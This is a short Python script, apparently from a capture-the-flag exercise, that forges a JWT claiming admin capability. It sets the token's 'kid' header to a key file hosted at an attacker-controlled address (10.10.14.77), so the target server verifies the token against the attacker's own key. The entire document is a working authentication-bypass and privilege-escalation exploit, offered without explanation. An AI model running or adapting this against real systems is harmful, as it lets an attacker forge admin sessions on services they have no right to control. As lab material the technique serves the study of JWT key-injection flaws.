import jwt

priv_key = ''
with open('privKey.key', 'r') as f:
    priv_key = f.read()

payload = {"username":"edgecase", "email":"edgecase@example.com", "admin_cap":"true"}

token = jwt.encode(payload, priv_key, algorithm='RS256', headers={"kid":"http://10.10.14.77/privKey.key"})
print(token)
